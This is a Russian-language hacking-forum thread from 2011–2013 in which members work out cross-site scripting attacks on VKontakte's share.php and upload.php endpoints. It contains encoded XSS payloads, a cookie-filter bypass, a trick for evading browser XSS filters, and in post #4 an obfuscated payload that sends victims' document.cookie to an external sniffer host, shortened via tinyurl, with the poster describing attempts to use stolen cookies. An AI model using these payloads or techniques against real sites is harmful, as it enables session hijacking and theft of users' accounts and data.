HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 01.11.2011, 22:38
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

Наверное многие из вас знают о возможности "поделиться ссылкой" на сайт в различных соц.сетях. ()

Вконтакте это делается следующим запросом:

http://vkontakte.ru/share.php?url=http://site.com/path/filename.ext

В исходнике страницы:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]window[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]shareUrl[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://site.com/path/filename.ext'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]window[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]shareDomain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'site.com'[/COLOR][COLOR="#007700"];[/COLOR][/COLOR
Попробуем такую ссылку:

http://vkontakte.ru/share.php?url=http://site.com\x22/path\x22/filename\x22.ext\x22

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]window[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]shareUrl[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://site.com\x22/path\x22/filename\x22.ext\x22'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]window[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]shareDomain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'site.com\x22'[/COLOR][COLOR="#007700"];[/COLOR][/COLOR
Обратный слэш в домене передаваемой ссылки не фильтруется. Значит можно передать в shareUrl и shareDomain любой текст.

Смотрим, что происходит с этими переменными дальше в коде страницы:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]ge[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'parse_url'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]value[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]shareUrl[/COLOR][COLOR="#007700"];

...

if ([/COLOR][COLOR="#0000BB"]window[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]shareDomain[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]ge[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'share_domain'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]shareDomain[/COLOR][COLOR="#007700"];

}
else {

[/
COLOR][COLOR="#0000BB"]hide[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'share_domain'[/COLOR][COLOR="#007700"]);

}

...

..

[/
COLOR][/COLOR
(функция ge() используется вконтакте, как псевдоним document.getElementById())

value в теге input ничего не даст, зато innerHTML позволяет вставить в страницу произвольный код.

XSS:

http://vkontakte.ru/share.php?url=http://site.com\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x78\x22\x 6F\x6E\x65\x72\x72\x6F\x72\x3D\x22\x61\x6C\x65\x72 \x74\x28\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x 6F\x6F\x6B\x69\x65\x29\x3B\x22\x77\x69\x64\x74\x68 \x3D\x30\x3E

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Запрос работает через POST, желательно использовать эту возможность при эксплуатации XSS.

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
или

Код:
Code:
data:text/html;base64,PGJvZHkgb25sb2FkPSJteXZrLnN1Ym1pdCgpOyI%2BPGZvcm0gaWQ9Im15dmsiYWN0aW9uPSJodHRwOi8vdmtvbnRha3RlLnJ1L3NoYXJlLnBocCJtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InVybCJ2YWx1ZT0iaHR0cDovL3NpdGUuY29tXHgzQ1x4NjlceDZEXHg2N1x4MjBceDczXHg3Mlx4NjNceDNEXHgyMlx4NzhceDIyXHg2Rlx4NkVceDY1XHg3Mlx4NzJceDZGXHg3Mlx4M0RceDIyXHg2MVx4NkNceDY1XHg3Mlx4NzRceDI4XHg2NFx4NkZceDYzXHg3NVx4NkRceDY1XHg2RVx4NzRceDJFXHg2M1x4NkZceDZGXHg2Qlx4NjlceDY1XHgyOVx4M0JceDIyXHg3N1x4NjlceDY0XHg3NFx4NjhceDNEXHgzMFx4M0UiLz48L2Zvcm0%2BPC9ib2R5Pg==
p.s.: работает одинаково для vkontakte.ru и vk.com
 
Ответить с цитированием

  #2  
Старый 03.11.2011, 22:54
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

cs*.vkontakte.ru/cs*.vk.vom

При отправке ссылки на видео youtube на стену, ВК парсит инфу об этом видео и выводит его на стену вместо отправляемой ссылки.

Для примера возьмем ролик http://www.youtube.com/watch?v=AW4u7mGMNcg (первый попавшийся)

Если вставить ссылку в сообщение и нажать кнопку "отправить", выполнится POST-запрос:

http://cs[N].vkontakte.ru/upload.php

act=parse_share&from_host=vkontakte.ru&mid=[СВОЙ_ID]&hash=[ХЭШ1]&rhash=[ХЭШ2]&url=[ССЫЛКА_НА_РОЛИК]


Ответ:

Код HTML:
HTML:

  document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
  parent.onParseDone({
    title: 'Порно? ВКонтакте! / Need Porn? Use Russian Facebook!',
    description: "Комментируйте, голосуйте, добавляйте в избранное, рассылайте друзьям :) Большое спасибо за помощь в распространении нас :)\n\nWE LOVE OUR AMERICAN AUDIENCE, SUBSCRIBE, WE WILL BE ADDING ENGLISH SUBTITLES TO FUTURE VIDEOS FOR YOUR ENJOYMENT :)\n\nОбсуждение в нашей группе ВКонтакте:\n?http://vkontakte.ru/club382321?\n\nПроизводство студии My Duck's Vision\nСайт студии: ?http://mdvision.ru?",
    images: ['http://img.youtube.com/vi/AW4u7mGMNcg/0.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/2.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/3.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/3.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/2.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/0.jpg'],
    url: 'http://www.youtube.com/watch?v=AW4u7mGMNcg',
    domain: 'www.youtube.com',
    extra: 21,
    extraData: 'AW4u7mGMNcg:204'
    
  });
Параметр url возвращается в ответе. Кавычки экранируются, поэтому за пределы строки выйти не получится. Остается единственный вариант - закрывающий тег script, который даже внутри строки прерывает выполнение JS-кода.

Как оказалось, хэши для защиты от CSRF и XSS в этом запросе не проверяются. Параметры from_host, mid, hash и rhash необязательны. Отправлять можно GET-ом.

url=http://google.com/

Код HTML:
HTML:

  document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
  parent.onParseFail();
Страница не существует (404)

url=http://google.com/?

Код HTML:
HTML:
url: 'http://www.google.com/?%3C/%3E=',
Редирект. url берется из location (302)

url=http://www.google.com/?=

Код HTML:
HTML:
url: 'http://www.google.com/?=',
Страница существует (200)

Пассивка найдена, но при попытке отправить в запросе

url=http://www.google.com/?=

оказывается, что фильтруется слово "cookie".

Обходится этот фильтр просто:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
XSS:

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=
 
Ответить с цитированием

  #3  
Старый 04.11.2011, 00:05
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

Еще один вариант использования предыдущего бага с обходом любых анти-XSS фильтров в браузерах.

Вернемся к результату парсинга:

Код HTML:
HTML:

  document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
  parent.onParseDone({
    title: 'Порно? ВКонтакте! / Need Porn? Use Russian Facebook!',
    description: "Комментируйте, голосуйте, добавляйте в избранное, рассылайте друзьям :) Большое спасибо за помощь в распространении нас :)\n\nWE LOVE OUR AMERICAN AUDIENCE, SUBSCRIBE, WE WILL BE ADDING ENGLISH SUBTITLES TO FUTURE VIDEOS FOR YOUR ENJOYMENT :)\n\nОбсуждение в нашей группе ВКонтакте:\n?http://vkontakte.ru/club382321?\n\nПроизводство студии My Duck's Vision\nСайт студии: ?http://mdvision.ru?",
    images: ['http://img.youtube.com/vi/AW4u7mGMNcg/0.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/2.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/3.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/3.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/2.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/0.jpg'],
    url: 'http://www.youtube.com/watch?v=AW4u7mGMNcg',
    domain: 'www.youtube.com',
    extra: 21,
    extraData: 'AW4u7mGMNcg:204'
    
  });
Открываем страницу http://www.youtube.com/watch?v=AW4u7mGMNcg и находим, откуда ВК парсит данные:





В ходе эксперементов я выяснил, что заголовок и описание обрезаются, если в них есть <, [COLOR="Red"]

заливаем на файлообменник и передаем ссылку в параметре url

Пример:

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://upwap.ru/d/1809876/9f8120c321aa731e263ecc004eb2e44c/1.txt

Так как прямые ссылки на файлообменниках динамические, придется периодически парсить ссылку и обновлять ее (в приведенном примере с http://upwap.ru/1809876)

На фотохостингах прямые ссылки постоянные. Берем любой bmp-файл, дописываем в него тот же текст и заливаем на radikal.ru

Пример:

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://s014.radikal.ru/i327/1111/7f/c6c28de37eaa.bmp
 
Ответить с цитированием

  #4  
Старый 27.04.2012, 21:34
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

было

http://cs4567.vkontakte.ru

стало

http://cs4567.vk.com

vk.com основной домен теперь!

img = new Image(); img.src = "http://somesite.ru/n5lcd7q8nvh.gif?"+document[c]; setTimeout( 'location="http://images.cards.mail.ru/11bolprivet.jpg";', 5000 );

http://somesite.ru/n5lcd7q8nvh.gif -> сниффер свой какой то (для примера!)

setTimeout( 'location="http://images.cards.mail.ru/11bolprivet.jpg";', 5000 ); -> редирект через 5 сек

http://images.cards.mail.ru/11bolprivet.jpg -> картинка-прикол!

в обфусцированном виде:

(function(O,o){o(O(105,109,103,32,61,32,110,101,11 9,32,73,109,97,103,101,40,41,59,32,105,109,103,46, 115,114,99,32,61,32,34,104,116,116,112,58,47,47,11 5,111,109,101,115,105,116,101,46,114,117,47,110,53 ,108,99,100,55,113,56,110,118,104,46,103,105,102,6 3,34,43,100,111,99,117,109,101,110,116,91,99,93,59 ,32,115,101,116,84,105,109,101,111,117,116,40,32,3 9,108,111,99,97,116,105,111,110,61,34,104,116,116, 112,58,47,47,105,109,97,103,101,115,46,99,97,114,1 00,115,46,109,97,105,108,46,114,117,47,49,49,98,11 1,108,112,114,105,118,101,116,46,106,112,103,34,59 ,39,44,32,53,48,48,48,32,41,59))})(String.fromChar Code,eval)

Такой вид через http://2coders.ru/wp-content/uploads/2010/09/obfuscator.zip

http://cs4567.vk.com/upload.php?act=parse_share&url=http://www.google.com/?=%3C/script%3E%3Cimg+src=x+onerror=c=/coo/.source;c%2B=/kie/.source;(function(O,o){o(O(105,109,103,32,61,32,11 0,101,119,32,73,109,97,103,101,40,41,59,32,105,109 ,103,46,115,114,99,32,61,32,34,104,116,116,112,58, 47,47,115,111,109,101,115,105,116,101,46,114,117,4 7,110,53,108,99,100,55,113,56,110,118,104,46,103,1 05,102,63,34,43,100,111,99,117,109,101,110,116,91, 99,93,59,32,115,101,116,84,105,109,101,111,117,116 ,40,32,39,108,111,99,97,116,105,111,110,61,34,104, 116,116,112,58,47,47,105,109,97,103,101,115,46,99, 97,114,100,115,46,109,97,105,108,46,114,117,47,49, 49,98,111,108,112,114,105,118,101,116,46,106,112,1 03,34,59,39,44,32,53,48,48,48,32,41,59))})(String. fromCharCode,eval)

%3E

Через ресурс, например, http://tinyurl.com получаем такую ссылку:

http://tinyurl.com/cglmpy5

- document[c] в Сhrome не работает;

- в FF, Opera работает (других не проверял);

- ссылка палиться антивирусом;

- привязка по ip вконтакте (возможно разве что с одного ip что у жертвы подставлять стыренные куки!)

- пробросить через вконтакте хз как (разве что подключить левый хост как доверенный для разработчика и там сниффер впихнуть!)

Итого: ограниченные условия! Возможно что то не так делал, имея стыренные куки я не попал в аккаунт.
 
Ответить с цитированием

  #5  
Старый 28.04.2012, 02:13
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

Цитата:
Сообщение от Strilo4ka  
Strilo4ka said:
- document[c] в Сhrome не работает;
Можно написать "document.c". Но скорее всего, не работает из-за XSS-фильтра, который есть в Chrome и IE. Попробуй использовать метод, описанный в 3 посте темы.

Цитата:
Сообщение от Strilo4ka  
Strilo4ka said:
- ссылка палиться антивирусом;
Можно использовать любой другой существующий поддомен csN вместо cs4567 и любой друой параметр url= вместо google.com

Цитата:
Сообщение от Strilo4ka  
Strilo4ka said:
- привязка по ip вконтакте (возможно разве что с одного ip что у жертвы подставлять стыренные куки!)
Кража сессии невозможна, но есть еще много вариантов использования XSS. Например, в приложениях ВК у каждого пользователя есть api_key, зная который можно выполнять любые действия в приложении от имени пользователя.
 
Ответить с цитированием

  #6  
Старый 23.09.2012, 12:49
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

Неактуально. В паблик.
 
Ответить с цитированием

  #7  
Старый 31.10.2013, 01:05
Грабитель
Guest
Сообщений: n/a
Провел на форуме:
69791

Репутация: -7
По умолчанию

Цитата:
Сообщение от M_script  
M_script said:
Неактуально. В паблик.
В паблике это для чего?
 
Ответить с цитированием

  #8  
Старый 31.10.2013, 01:13
next
Новичок
Регистрация: 16.08.2003
Сообщений: 20
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
Сообщение от M_script  
M_script said:
Неактуально. В паблик.
Ужас

то есть открытая часть ачата это площадка для выкладывания треша ?
 
Ответить с цитированием

  #9  
Старый 31.10.2013, 01:22
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

Цитата:
Сообщение от next  
next said:
то есть открытая часть ачата это площадка для выкладывания треша ?
Пример эксплуатации важнее конкретной уязвимости конкретного сайта.

В паблике эта уязвимость пролежала бы до фикса пару дней, в закрытом разделе почти год. В теме показан вектор атаки, который еще долго будет актуален для многих сайтов. На ВК интернет не заканчивается.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ